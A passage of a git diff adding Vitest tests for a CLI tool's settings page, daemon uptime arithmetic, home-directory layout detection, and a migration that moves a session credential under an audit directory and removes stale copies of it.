+ });
+});
+
+describe("the schedule tape", () => {
+ it("draws only when there are two real ends to sit between", async () => {
+ // A machine that has never run a scheduled scan is not inside an interval,
+ // and a rail claiming otherwise would be decoration.
+ getViewMock.mockResolvedValue(
+ view({ auto: true, signedInAs: { id: "u", email: "a@b.c" }, schedule: null }),
+ );
+ const { container } = renderSettings();
+ await screen.findByRole("switch");
+ expect(container.querySelector(".tape")).toBeNull();
+ });
+
+ it("draws between the last scan and the next", async () => {
+ const now = Date.now();
+ getViewMock.mockResolvedValue(
+ view({
+ auto: true,
+ signedInAs: { id: "u", email: "a@b.c" },
+ schedule: {
+ lastRunAtMs: now - DAY,
+ nextDueAtMs: now + 6 * DAY,
+ lastAttemptAtMs: now - DAY,
+ lastExitCode: 0,
+ schemaAhead: false,
+ },
+ }),
+ );
+ const { container } = renderSettings();
+ await screen.findByRole("switch");
+ await waitFor(() => expect(container.querySelector(".tape")).not.toBeNull());
+ // Asserted as a POSITION, not a string. The label is `next · {value}` —
+ // two text nodes in one span, so a plain text matcher never sees it whole —
+ // and `now` is stamped a moment AFTER the fixture's timestamps, so a
+ // 6-day gap legitimately renders "5d 23h". Pinning the exact wording would
+ // be pinning a clock race; what the tape has to get right is where the
+ // marker sits, which is one day into a seven-day span.
+ expect(container.querySelector(".tape-next")?.textContent).toMatch(/next · \d+d/);
+ const fill = container.querySelector(".tape-fill");
+ const pct = Number.parseFloat(fill?.style.width ?? "0");
+ expect(pct).toBeGreaterThan(10);
+ expect(pct).toBeLessThan(20);
+ });
+});
+
+describe("run a scan now", () => {
+ it("runs regardless of whether scheduling is on", async () => {
+ // Running one by hand is not the same decision as putting one on a timer,
+ // and needs no account.
+ renderSettings();
+ fireEvent.click(await screen.findByRole("button", { name: /run a scan now/ }));
+ await waitFor(() => expect(triggerRunMock).toHaveBeenCalled());
+ });
+});
+
+describe("the stat row", () => {
+ it("reports the last scan and what it found, from one read", async () => {
+ // Both cells come from the SAME action call, so they cannot disagree about
+ // whether a result exists — the bug this shape prevents is a fresh
+ // timestamp beside a blank count.
+ lastView = view({
+ lastResultAt: new Date(Date.now() - 2 * DAY).toISOString(),
+ lastScan: {
+ finishedAt: new Date(Date.now() - 2 * DAY).toISOString(),
+ findings: 17,
+ sessionsScanned: 230,
+ eventsScanned: 22_074,
+ },
+ });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+
+ expect(await screen.findByText("17")).toBeInTheDocument();
+ expect(screen.getByText("230 sessions")).toBeInTheDocument();
+ expect(screen.getByText("this scan")).toBeInTheDocument();
+ });
+
+ it("tells apart a clean scan from a result it could not read", async () => {
+ // 0 means "scanned, found nothing". "—" means "we do not know". Collapsing
+ // them would report a clean machine on a file that failed to parse.
+ lastView = view({
+ lastScan: {
+ finishedAt: new Date(Date.now() - DAY).toISOString(),
+ findings: 0,
+ sessionsScanned: 12,
+ eventsScanned: 40,
+ },
+ });
+ getViewMock.mockResolvedValue(lastView);
+ const { unmount } = renderSettings();
+ expect(await screen.findByText("0")).toBeInTheDocument();
+ unmount();
+ cleanup();
+
+ lastView = view({
+ lastScan: {
+ finishedAt: new Date(Date.now() - DAY).toISOString(),
+ findings: null,
+ sessionsScanned: null,
+ eventsScanned: null,
+ },
+ });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText("unreadable")).toBeInTheDocument();
+ });
+
+ it("says a scan has never run rather than showing a zero", async () => {
+ renderSettings();
+ expect(await screen.findByText("none yet")).toBeInTheDocument();
+ expect(screen.getByText("no scan yet")).toBeInTheDocument();
+ });
+
+ it("shows the next scan as off when scheduling is off", async () => {
+ // A countdown on a machine that is not scheduled would be fiction.
+ renderSettings();
+ expect(await screen.findByText("off")).toBeInTheDocument();
+ expect(screen.getByText("nothing scheduled")).toBeInTheDocument();
+ });
+
+ it("counts down to the daemon's own next-due time, not one it recomputes", async () => {
+ // The daemon writes next_due_at_ms; deriving it from last-run + interval
+ // drifts the moment somebody changes the interval mid-cycle.
+ lastView = view({
+ auto: true,
+ signedInAs: { id: "u", email: "a@b.c" },
+ schedule: {
+ // A minute of slack: the page stamps its own `now` a few ms after this
+ // fixture is built, and the readout floors — without it the assertion
+ // races between "3d 4h" and "3d 3h".
+ nextDueAtMs: Date.now() + 3 * DAY + 4 * 3_600_000 + 60_000,
+ lastAttemptAtMs: null,
+ lastRunAtMs: Date.now() - 4 * DAY,
+ lastExitCode: 0,
+ schemaAhead: false,
+ },
+ });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText("3d 4h")).toBeInTheDocument();
+ });
+
+ it("says the next run is pending when the daemon has not scheduled one yet", async () => {
+ lastView = view({ auto: true, signedInAs: { id: "u", email: "a@b.c" }, schedule: null });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText("pending")).toBeInTheDocument();
+ });
+});
+
+describe("how it works", () => {
+ it("states what the scan reads, where it runs, and what leaves the machine", async () => {
+ renderSettings();
+ expect(await screen.findByText("reads")).toBeInTheDocument();
+ expect(screen.getByText("runs")).toBeInTheDocument();
+ expect(screen.getByText("sends")).toBeInTheDocument();
+ expect(screen.getByText(/never leave/)).toBeInTheDocument();
+ expect(screen.getByText(/redacted examples/)).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/hooks/daemon-service.test.ts b/__tests__/hooks/daemon-service.test.ts
index 1f9832007..5bbecd45a 100644
--- a/__tests__/hooks/daemon-service.test.ts
+++ b/__tests__/hooks/daemon-service.test.ts
@@ -5,7 +5,7 @@ import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync
import { tmpdir, userInfo } from "node:os";
import { resolve } from "node:path";
import { binDir } from "../../src/hooks/fp-home";
-import { waitForDaemonRunning } from "../../src/hooks/daemon-service";
+import { startedAtFromMonotonic, waitForDaemonRunning } from "../../src/hooks/daemon-service";
import * as svc from "../../src/hooks/daemon-service";
vi.mock("../../src/hooks/hook-logger", () => ({
@@ -1117,3 +1117,58 @@ describe("refreshDaemonToCliVersion", () => {
expect(result.lines.join("\n")).toContain("previous daemon is untouched");
});
});
+
+/**
+ * `startedAtFromMonotonic` — the arithmetic behind /settings' "up 11d".
+ *
+ * Split out of `daemonStartedAtMs` precisely so it can be tested on a machine
+ * with no systemd, and because the two ways it can be wrong are both silent:
+ * a stamp from a unit that never started, and one that would place the daemon's
+ * start in the future. Either produces a confident, false uptime.
+ */
+describe("startedAtFromMonotonic", () => {
+ const NOW = 1_800_000_000_000;
+ /** Both arguments are microseconds on ONE clock — see the function's note. */
+ const us = (secs: number) => secs * 1_000_000;
+
+ it("converts a monotonic activation stamp into an epoch start time", () => {
+ // Clock now at 100_000s; unit activated at 90_000s ⇒ active 10_000s.
+ expect(startedAtFromMonotonic(us(90_000), us(100_000), NOW)).toBe(NOW - 10_000_000);
+ });
+
+ it("returns null for a unit systemd has never activated", () => {
+ // systemd writes 0 there. Treated as an absent answer, not as "started at
+ // boot" — which is what a naive conversion would report.
+ expect(startedAtFromMonotonic(0, us(100_000), NOW)).toBeNull();
+ });
+
+ it("returns null when the stamp is ahead of the current reading", () => {
+ // Cannot be true, so it is not rendered. A wrong uptime is indistinguishable
+ // from a right one to whoever reads it, which makes silence the safer answer.
+ expect(startedAtFromMonotonic(us(200_000), us(100_000), NOW)).toBeNull();
+ });
+
+ it("returns null on unparseable input rather than NaN", () => {
+ // `Number("")` is 0 and `Number("x")` is NaN — both reachable from a
+ // `systemctl show --value` that printed nothing useful.
+ expect(startedAtFromMonotonic(Number.NaN, us(100_000), NOW)).toBeNull();
+ expect(startedAtFromMonotonic(us(90_000), Number.NaN, NOW)).toBeNull();
+ });
+
+ it("reports a just-started unit as now, not as a negative age", () => {
+ expect(startedAtFromMonotonic(us(100_000), us(100_000), NOW)).toBe(NOW);
+ });
+
+ it("does not add suspended time to the daemon's age", () => {
+ // The bug this signature change fixes. systemd's stamp is CLOCK_MONOTONIC,
+ // which STOPS during suspend; `os.uptime()` keeps counting through it. A
+ // laptop asleep 29 of the last 30 days reads 2_592_000s of uptime while the
+ // monotonic clock has only advanced 86_400s — so pairing them reported a
+ // daemon started 30 days ago that in fact started an hour into today.
+ //
+ // Same clock on both sides, so the answer is the hour, not the month.
+ const monotonicNow = us(86_400);
+ const activatedAt = us(82_800); // one hour of monotonic time ago
+ expect(startedAtFromMonotonic(activatedAt, monotonicNow, NOW)).toBe(NOW - 3_600_000);
+ });
+});
diff --git a/__tests__/hooks/fp-home.test.ts b/__tests__/hooks/fp-home.test.ts
index 285a104c8..54724e2fd 100644
--- a/__tests__/hooks/fp-home.test.ts
+++ b/__tests__/hooks/fp-home.test.ts
@@ -66,7 +66,7 @@ describe("fp-home layout", () => {
// writes — and an absent file is indistinguishable from a lane that has
// never run. Kept next to the Rust literal so the pair has to be changed
// together.
- expect(H.auditScheduleFile()).toBe(resolve(home, "state", "audit-schedule.json"));
+ expect(H.auditScheduleFile()).toBe(resolve(home, "audit", "schedule.json"));
});
it("keeps run/ shallow — sockets must fit in SUN_LEN", () => {
@@ -188,8 +188,13 @@ describe("HOME_CLASSES", () => {
customPoliciesDir: "policiesDir",
customAgentsEventsDir: "customAgentsDir",
customAgentsFailedDir: "customAgentsDir",
- auditDashboardFile: "auditDir",
- auditCacheDir: "auditDir",
+ // `auditDir` maps to ITSELF, the second entry to do so after `stateDir` and
+ // for the same reason: layout 4 made it MIXED. It holds `session.json` (a
+ // credential) and `machine.json` (an identity) alongside three derived
+ // caches, so it is classified per-file and the parent is deliberately absent
+ // from `HOME_CLASSES`. Its children are therefore classified directly and no
+ // longer appear here.
+ auditDir: "auditDir",
daemonSocket: "runDir",
workerSocket: "runDir",
daemonLock: "runDir",
@@ -235,10 +240,12 @@ describe("HOME_CLASSES", () => {
const classified = new Set(H.HOME_CLASSES.map((e) => e.path()));
for (const [child, parent] of Object.entries(COVERED_BY_PARENT)) {
const parentFn = H[parent] as (h?: string) => string;
- // `stateDir` is the one entry that maps to itself: it is deliberately NOT
- // classified, because it is MIXED — `spool/` and `telemetry-id` must never
- // be dropped while a dozen scratch files under it should be. Listing the
- // parent is exactly how a reset came to delete undelivered events.
+ // `stateDir` and `auditDir` map to themselves: both are deliberately NOT
+ // classified, because both are MIXED — `spool/` and `telemetry-id` must
+ // never be dropped while a dozen scratch files under `state/` should be,
+ // and `audit/` holds a session token and a machine identity next to two
+ // caches. Listing the parent is exactly how a reset came to delete
+ // undelivered events, and is what would have deleted the token here.
if (child === parent) {
expect(classified.has(parentFn())).toBe(false);
continue;
@@ -365,6 +372,41 @@ describe("detectLayout", () => {
if (state.kind === "stale") expect(state.found).toBe(2);
});
+ it("reports a layout-2 home as 2, never as 'one behind whatever this build is'", () => {
+ // The landmark identifies ONE layout. `found: LAYOUT_VERSION - 1` read
+ // correctly while current was 3 and silently became data loss at 4: a real
+ // layout-2 home was reported as 3, so only the 3 → 4 step ran — which finds
+ // none of layout 3's files, moves nothing, and stamps the home current.
+ // config.toml and credentials.toml would never be carried into JSON, leaving
+ // the cloud token and `daemon.configured` orphaned on a machine that now
+ // reads as fully migrated.
+ writeFileSync(H.legacy.configToml(), 'mode = "oss"\n');
+ const state = detectLayout();
+ expect(state.kind).toBe("stale");
+ if (state.kind === "stale") expect(state.found).toBe(2);
+ });
+
+ it("calls a config.json home with layout-3 audit files still at the root stale, not current", () => {
+ // `config.json` proves "3 or later" and cannot separate them, so the audit
+ // files' POSITION is the discriminator. Getting this wrong skips the 3 → 4
+ // move: auth.json stays at the root, `audit/session.json` never appears, and
+ // the user is silently signed out with the file still sitting on disk.
+ writeFileSync(H.configFile(), "{}");
+ writeFileSync(H.legacy.authJson(), "{}");
+ const state = detectLayout();
+ expect(state.kind).toBe("stale");
+ if (state.kind === "stale") expect(state.found).toBe(3);
+ });
+
+ it("calls a config.json home with no layout-3 audit files current", () => {
+ // The other direction: with none of those three present the two layouts are
+ // identical on disk — the step would move nothing — so reporting stale would
+ // run a migration to achieve exactly nothing, on the commonest home there is
+ // (one that has never signed in).
+ writeFileSync(H.configFile(), "{}");
+ expect(detectLayout().kind).toBe("current");
+ });
+
it("distinguishes a FUTURE layout from a stale one", () => {
// Telling someone to reset a home written by a newer CLI would delete data
// a simple upgrade would have read fine.
@@ -464,6 +506,33 @@ describe("config.toml", () => {
expect(readConfig().audit).toEqual({ auto: true, intervalDays: 30 });
});
+ it("carries the consent stamp through an unrelated rewrite too", () => {
+ // Same class of failure as the test above, on the key that decides whether
+ // anything leaves the machine: `reportHarm` gates sending on
+ // `reports_consented_at`, so a rewrite that dropped it would silently stop
+ // a machine's digests the next time any unrelated setting changed — and
+ // leave the user with a schedule that reads as on and mails nothing.
+ writeConfig({
+ ...DEFAULT_CONFIG,
+ audit: { auto: true, intervalDays: 30, reportsConsentedAt: 1_700_000_000_000 },
+ });
+
+ writeConfig({ ...readConfig(), collector: { ...DEFAULT_CONFIG.collector, environment: "ci" } });
+
+ expect(readConfig().audit.reportsConsentedAt).toBe(1_700_000_000_000);
+ });
+
+ it("does not invent a consent stamp for a machine that never gave one", () => {
+ // The other direction, and the one that matters more: a default-shaped
+ // write must not put a key on disk implying somebody was asked.
+ writeConfig({ ...DEFAULT_CONFIG, audit: { auto: true, intervalDays: 30 } });
+
+ expect(readConfig().audit.reportsConsentedAt).toBeUndefined();
+ expect(JSON.parse(readFileSync(H.configFile(), "utf8")).audit).not.toHaveProperty(
+ "reports_consented_at",
+ );
+ });
+
it("only an explicit true switches the auto-audit on", () => {
writeFileSync(H.configFile(), JSON.stringify({ audit: { auto: "yes" } }));
expect(readConfig().audit.auto).toBe(false);
diff --git a/__tests__/hooks/fp-reset.test.ts b/__tests__/hooks/fp-reset.test.ts
index eff768add..5e82044ec 100644
--- a/__tests__/hooks/fp-reset.test.ts
+++ b/__tests__/hooks/fp-reset.test.ts
@@ -28,6 +28,7 @@ import {
readConfig,
readCredentials,
readVersionFile,
+ updateConfig,
writeVersionFile,
} from "../../src/hooks/fp-config";
import {
@@ -530,6 +531,61 @@ describe("checkLayoutForCli", () => {
mkdirSync(hookActivityDir(), { recursive: true });
expect((await checkLayoutForCli()).lines).toEqual([]);
});
+
+ // The command that MOVES the home is the command that strands an unrefreshed
+ // daemon against it — failproofaid refuses to start when the layout marker is
+ // not the one its binary was built against — and it was the one command that
+ // said nothing about the daemon. Nothing looks wrong in the meantime, because
+ // the running process read the marker once at startup; the machine fails at
+ // its next reboot, and a daemon-configured machine that cannot reach its
+ // daemon denies every tool call.
+ describe("the daemon warning on the branch that migrates", () => {
+ /** A managed install of `ver`, which is what `daemonVersionSkew()` reads. */
+ function installedDaemon(ver: string) {
+ mkdirSync(binDir(), { recursive: true });
+ writeFileSync(resolve(binDir(), `failproofaid-${ver}`), "ELF");
+ }
+
+ it("warns hard when the machine REQUIRES a daemon that will not start", async () => {
+ seedLayoutOne();
+ installedDaemon("0.0.1-old");
+ writeVersionFile({ daemon: "0.0.1-old" });
+ updateConfig({ daemon: { configured: true } });
+
+ const text = (await checkLayoutForCli()).lines.join("\n");
+
+ expect(text).toContain("0.0.1-old");
+ // Must name the consequence, not just the mismatch: the reason to act now
+ // rather than at the next reboot is that the next reboot is the failure.
+ expect(text).toMatch(/denies every tool call/i);
+ // And the command that actually fixes it. `failproofai config` was the
+ // old advice and rebuilds the service rather than updating the binary.
+ expect(text).toContain("failproofai update");
+ });
+
+ it("stays mild when the machine does not require the daemon", async () => {
+ // In-process evaluation: a stale daemon here really is just stale, and a
+ // paragraph about denied tool calls would be false alarm.
+ seedLayoutOne();
+ installedDaemon("0.0.1-old");
+ writeVersionFile({ daemon: "0.0.1-old" });
+ updateConfig({ daemon: { configured: false } });
+
+ const text = (await checkLayoutForCli()).lines.join("\n");
+
+ expect(text).toContain("0.0.1-old");
+ expect(text).not.toMatch(/denies every tool call/i);
+ });
+
+ it("says nothing about the daemon when there is no skew", async () => {
+ seedLayoutOne();
+ updateConfig({ daemon: { configured: true } });
+
+ const text = (await checkLayoutForCli()).lines.join("\n");
+
+ expect(text).not.toContain("failproofai update");
+ });
+ });
});
describe("layoutWarningForHook", () => {
diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts
index ae0b3bc87..e942386ea 100644
--- a/__tests__/hooks/migrations.test.ts
+++ b/__tests__/hooks/migrations.test.ts
@@ -8,11 +8,22 @@
* layout change runs nothing at all.
*/
import { describe, it, expect, beforeEach, afterEach } from "vitest";
-import { mkdtempSync, rmSync, mkdirSync, writeFileSync, readFileSync, existsSync } from "node:fs";
+import {
+ mkdtempSync,
+ rmSync,
+ mkdirSync,
+ writeFileSync,
+ readFileSync,
+ existsSync,
+ statSync,
+} from "node:fs";
import { tmpdir } from "node:os";
import { resolve } from "node:path";
import {
LAYOUT_VERSION,
+ auditDir,
+ auditScheduleFile,
+ auditSessionFile,
configFile,
credentialsFile,
globalPolicyConfigFile,
@@ -21,13 +32,14 @@ import {
migrationLedgerFile,
versionFile,
} from "../../src/hooks/fp-home";
-import { readVersionFile } from "../../src/hooks/fp-config";
+import { detectLayout, readVersionFile, writeVersionFile } from "../../src/hooks/fp-config";
import {
MIGRATIONS,
backupBeforeMigrating,
describePlan,
migrationCoverageGap,
planMigration,
+ pruneMigratedCredentials,
readLedger,
restoreBackup,
runMigrations,
@@ -330,6 +342,217 @@ describe("the backup taken before a migration", () => {
).enabledPolicies,
).toEqual(["nested-one"]);
});
+
+ // The backup insures a migration that goes wrong. Kept forever on a live
+ // credential it stops being insurance and becomes a second copy of the
+ // token — one no reset class removes (`migrationsDir` is classed `identity`)
+ // and that `deleteAuth()` did not know about, so a dashboard sign-out, a 401
+ // auto-delete and `failproofai reset` all left a working bearer and refresh
+ // token on disk to be carried into every backup and container image after it.
+ describe("the session copy is not kept after a clean migration", () => {
+ function seedLayoutThreeWithSession() {
+ mkdirSync(home, { recursive: true });
+ writeVersionFile({ layout: 3 });
+ writeFileSync(
+ legacy.authJson(),
+ JSON.stringify({ access_token: "at", refresh_token: "rt" }),
+ );
+ }
+
+ it("removes it once the chain has finished", () => {
+ seedLayoutThreeWithSession();
+
+ const run = runMigrations(3);
+
+ expect(run.failed).toBeUndefined();
+ // It really was backed up — this is not passing because nothing happened.
+ expect(run.backedUp).toContain("auth.json");
+ // The session landed where layout 4 reads it…
+ expect(existsSync(auditSessionFile())).toBe(true);
+ // …and the copy is gone.
+ expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(false);
+ });
+
+ it("KEEPS it when the chain failed, which is what a backup is for", () => {
+ seedLayoutThreeWithSession();
+ // Make the destination directory un-creatable so the move throws.
+ writeFileSync(auditDir(), "not a directory");
+
+ const run = runMigrations(3);
+
+ expect(run.failed).toBeDefined();
+ expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(true);
+ // The source survives a failed move — the step is documented not to roll
+ // back, so the next command retries from exactly this state.
+ expect(existsSync(legacy.authJson())).toBe(true);
+ // And the home is NOT marked current, or nothing would ever retry.
+ expect(readVersionFile()?.layout).toBe(3);
+ });
+
+ it("prunes nothing when the session never arrived at its new home", () => {
+ // Guarded on the destination rather than assumed: dropping the only
+ // readable copy of a credential is the loss the backup exists to prevent.
+ mkdirSync(migrationBackupDir(3), { recursive: true });
+ writeFileSync(resolve(migrationBackupDir(3), "auth.json"), "{}");
+
+ pruneMigratedCredentials(3);
+
+ expect(existsSync(resolve(migrationBackupDir(3), "auth.json"))).toBe(true);
+ });
+ });
+});
+
+describe("layout 3 → 4", () => {
+ /** A layout-3 home that has signed in, set a reminder, and been scanned. */
+ function seedLayoutThree() {
+ mkdirSync(home, { recursive: true });
+ mkdirSync(resolve(home, "state"), { recursive: true });
+ writeFileSync(configFile(), '{"mode":{"kind":"oss"}}');
+ writeFileSync(legacy.authJson(), '{"access_token":"at","refresh_token":"rt"}', { mode: 0o600 });
+ writeFileSync(legacy.nextAudit(), '{"next_audit_at":123,"user_email":"a@b.c"}');
+ writeFileSync(legacy.auditSchedule(), '{"schema":1,"next_due_at_ms":999}');
+ writeFileSync(versionFile(), JSON.stringify({ layout: 3, cli: "1.0.0", daemon: "1.0.0" }));
+ }
+
+ it("moves all three files under audit/ and leaves nothing at the root", () => {
+ seedLayoutThree();
+
+ runMigrations(3);
+
+ expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("at");
+ expect(JSON.parse(readFileSync(legacy.auditReminder(), "utf8")).user_email).toBe("a@b.c");
+ expect(JSON.parse(readFileSync(auditScheduleFile(), "utf8")).next_due_at_ms).toBe(999);
+
+ expect(existsSync(legacy.authJson())).toBe(false);
+ expect(existsSync(legacy.nextAudit())).toBe(false);
+ expect(existsSync(legacy.auditSchedule())).toBe(false);
+ expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION);
+ });
+
+ it("migrates a FAILPROOFAI_AUTH_DIR home too, instead of signing that user out", () => {
+ // The override names a directory OUTSIDE the managed home, and it is a
+ // documented env var rather than a test hook. Every other path in the step
+ // comes from FAILPROOFAI_HOME, so the override directory was never visited:
+ // the file stayed `auth.json`, layout 4 read `session.json`, and the upgrade
+ // signed the user out without saying so — scans still running, digests
+ // silently stopped.
+ seedLayoutThree();
+ const override = mkdtempSync(resolve(tmpdir(), "fpai-authdir-"));
+ const prev = process.env.FAILPROOFAI_AUTH_DIR;
+ process.env.FAILPROOFAI_AUTH_DIR = override;
+ try {
+ writeFileSync(resolve(override, "auth.json"), '{"access_token":"override-at"}', {
+ mode: 0o600,
+ });
+ writeFileSync(resolve(override, "next-audit.json"), '{"user_email":"o@b.c"}');
+
+ runMigrations(3);
+
+ expect(JSON.parse(readFileSync(resolve(override, "session.json"), "utf8")).access_token).toBe(
+ "override-at",
+ );
+ expect(JSON.parse(readFileSync(resolve(override, "reminder.json"), "utf8")).user_email).toBe(
+ "o@b.c",
+ );
+ // And the old names are gone — a second copy of a bearer credential is
+ // the thing this step exists to avoid leaving behind.
+ expect(existsSync(resolve(override, "auth.json"))).toBe(false);
+ expect(existsSync(resolve(override, "next-audit.json"))).toBe(false);
+ } finally {
+ if (prev === undefined) delete process.env.FAILPROOFAI_AUTH_DIR;
+ else process.env.FAILPROOFAI_AUTH_DIR = prev;
+ rmSync(override, { recursive: true, force: true });
+ }
+ });
+
+ it("does not stamp layout 4 when a stale credential could not be deleted", () => {
+ // The destination already exists, so the step drops the layout-3 original.
+ // Swallowing a failure there continued to `writeVersionFile()` and marked
+ // the home migrated with `auth.json` — a live bearer token — still at the
+ // root, where nothing would look at it again and nothing would clean it up.
+ // Failing leaves the home at layout 3, which `runMigrations` documents as
+ // "the next command retries", and the retry is a no-op plus one more delete.
+ seedLayoutThree();
+ mkdirSync(resolve(home, "audit"), { recursive: true });
+ writeFileSync(auditSessionFile(), '{"access_token":"already-here"}', { mode: 0o600 });
+
+ // A DIRECTORY where the credential file should be: `rmSync(from, {force})`
+ // suppresses ENOENT and nothing else, so it throws EISDIR here. A real
+ // failure from the real call, rather than a mock of it — the ESM import is
+ // bound at load time and a spy on the namespace would never be seen.
+ rmSync(legacy.authJson(), { force: true });
+ mkdirSync(legacy.authJson(), { recursive: true });
+ writeFileSync(resolve(legacy.authJson(), "trapped"), "x");
+
+ const run = runMigrations(3);
+
+ expect(run.failed).toBeDefined();
+ expect(readVersionFile()?.layout).toBe(3);
+ // The layout-4 file was never clobbered by the failed step.
+ expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("already-here");
+ });
+
+ it("keeps the daemon version, which nothing on this path touches", () => {
+ // The step stamps VERSION through `writeVersionFile()` rather than writing
+ // the JSON by hand. Hand-rolling it drops `daemon`, which `daemonVersionSkew()`
+ // reads on every CLI command — so the machine would silently stop being told
+ // its daemon is behind.
+ seedLayoutThree();
+ runMigrations(3);
+ expect(readVersionFile()?.daemon).toBe("1.0.0");
+ });
+
+ it("keeps the session file owner-only", () => {
+ // A rename preserves the mode and the copy fallback does not, so the step
+ // reasserts it either way. This file's entire content is a bearer credential.
+ seedLayoutThree();
+ runMigrations(3);
+ expect(statSync(auditSessionFile()).mode & 0o777).toBe(0o600);
+ });
+
+ it("treats a home that never signed in as a clean no-op", () => {
+ // The commonest home there is: `auth.json` and `next-audit.json` are absent
+ // on every machine that never logged in, and a scan that never ran leaves no
+ // schedule. A missing source is success, not an error to stop the chain on.
+ mkdirSync(home, { recursive: true });
+ writeFileSync(configFile(), '{"mode":{"kind":"oss"}}');
+ writeFileSync(versionFile(), JSON.stringify({ layout: 3, cli: "1.0.0" }));
+
+ const run = runMigrations(3);
+
+ expect(run.failed).toBeUndefined();
+ expect(existsSync(auditSessionFile())).toBe(false);
+ expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION);
+ });
+
+ it("does not copy a stale root file back over a layout-4 one", () => {
+ // Re-running the step is exactly what happens when a later step in the same
+ // chain throws and the user retries. The layout-4 file is authoritative by
+ // then, and clobbering it would restore a session that has since been
+ // refreshed — or, worse, one the user had signed out of.
+ seedLayoutThree();
+ mkdirSync(auditDir(), { recursive: true });
+ writeFileSync(auditSessionFile(), '{"access_token":"NEWER"}');
+
+ runMigrations(3);
+
+ expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("NEWER");
+ // The stale original is dropped rather than left lying at the root — it is a
+ // credential, and a second copy of one is a liability.
+ expect(existsSync(legacy.authJson())).toBe(false);
+ });
+
+ it("backs the three up before moving them", () => {
+ // `auth.json` is a live bearer credential that, unlike every other backed-up
+ // file, was never on a delete list — so it has never had a copy taken before
+ // a migration touched it. A move is not a deletion, but a move with a bug in
+ // it is.
+ seedLayoutThree();
+ const saved = backupBeforeMigrating(3);
+ expect(saved).toContain("auth.json");
+ expect(saved).toContain("next-audit.json");
+ expect(saved).toContain("audit-schedule.json");
+ });
});
describe("runMigrations", () => {
@@ -343,6 +566,38 @@ describe("runMigrations", () => {
writeFileSync(versionFile(), 'layout = 2\ncli = "1.0.0-beta.5"\n');
}
+ it("marks the home with each step's OWN target, never the current layout", () => {
+ // Every step used to end stamping LAYOUT_VERSION, which was harmless while
+ // each chain was one hop. On `2 → 3 → 4` the first step marks the home
+ // layout 4 with its files still at layout 3, and the gap between that stamp
+ // and the second step completing is a real window: a SIGKILL, an OOM or a
+ // power loss inside it leaves a home reading `current` forever, because
+ // `detectLayout()` short-circuits on the marker and never re-examines the
+ // landmarks. The session then sits at the old path, unread, for good.
+ //
+ // `runMigrations`' catch repairs an over-stamp, but a killed process runs
+ // no catch — so the stamp has to be right as it is written, and this pins
+ // the first step's value rather than only the chain's end state.
+ seedLayoutTwo();
+ const stamps: number[] = [];
+ const chain = planMigration(2).map((step) => ({
+ ...step,
+ run: () => {
+ const out = step.run();
+ stamps.push(readVersionFile()?.layout ?? -1);
+ return out;
+ },
+ }));
+
+ const run = runMigrations(2, chain);
+
+ expect(run.failed).toBeUndefined();
+ // One entry per step, each naming where that step actually landed.
+ expect(stamps).toEqual(chain.map((s) => s.to));
+ expect(stamps[0]).toBe(3);
+ expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION);
+ });
+
it("records every step in the ledger with the CLI that ran it", () => {
// The ledger answers "what has this machine actually been through", which is
// the first question a support conversation asks and the one that was
@@ -351,24 +606,46 @@ describe("runMigrations", () => {
const run = runMigrations(2);
- expect(run.steps).toEqual([{ from: 2, to: LAYOUT_VERSION, ok: true }]);
+ // Asserted as the SHAPE of a chain rather than a fixed step count: the chain
+ // from 2 was one hop at layout 3 and is two at layout 4, and a hardcoded
+ // count turns every future layout bump into a test edit that says nothing.
+ // What must hold is that the recorded chain starts where the home was, ends
+ // where this build speaks, and links end to end with no gap.
+ expect(run.steps.length).toBeGreaterThan(0);
+ expect(run.steps.every((s) => s.ok)).toBe(true);
+ expect(run.steps[0].from).toBe(2);
+ expect(run.steps.at(-1)?.to).toBe(LAYOUT_VERSION);
+ for (let i = 1; i < run.steps.length; i += 1) {
+ expect(run.steps[i].from).toBe(run.steps[i - 1].to);
+ }
+
const ledger = readLedger();
- expect(ledger).toHaveLength(1);
+ expect(ledger).toHaveLength(run.steps.length);
expect(ledger[0].from).toBe(2);
- expect(ledger[0].to).toBe(LAYOUT_VERSION);
- expect(ledger[0].ok).toBe(true);
- expect(ledger[0].cli).toMatch(/\d+\.\d+\.\d+/);
- expect(ledger[0].at).toMatch(/^\d{4}-\d{2}-\d{2}T/);
+ expect(ledger.at(-1)?.to).toBe(LAYOUT_VERSION);
+ for (const entry of ledger) {
+ expect(entry.ok).toBe(true);
+ expect(entry.cli).toMatch(/\d+\.\d+\.\d+/);
+ expect(entry.at).toMatch(/^\d{4}-\d{2}-\d{2}T/);
+ }
});
it("appends rather than replacing, so the history survives a second migration", () => {
seedLayoutTwo();
runMigrations(2);
+ const afterFirst = readLedger().length;
+ expect(afterFirst).toBeGreaterThan(0);
+
// A later layout bump on the same machine.
writeFileSync(versionFile(), 'layout = 1\n');
runMigrations(1);
- expect(readLedger()).toHaveLength(2);
+ // Grew rather than being replaced. Comparing against the first run's own
+ // count instead of a literal keeps this about APPENDING, which is the
+ // property under test, rather than about how many hops a chain happens to
+ // take in the current layout.
+ expect(readLedger().length).toBeGreaterThan(afterFirst);
+ expect(readLedger().slice(0, afterFirst).every((e) => e.from === 2 || e.from === 3)).toBe(true);
});
it("backs up BEFORE the first step, against the layout actually found", () => {
@@ -422,6 +699,35 @@ describe("runMigrations", () => {
expect(readVersionFile()?.layout).toBe(2);
});
+ it("does not leave a home marked current when a LATER step in the chain throws", () => {
+ // The multi-step version of the test above, with the real registry rather
+ // than stubs — and the reason it needs the real one. Every step ends at
+ // `writeVersionFile()`, which stamps LAYOUT_VERSION rather than the step's
+ // own `to`, so on a `2 → 3 → 4` chain the FIRST step already claims the home
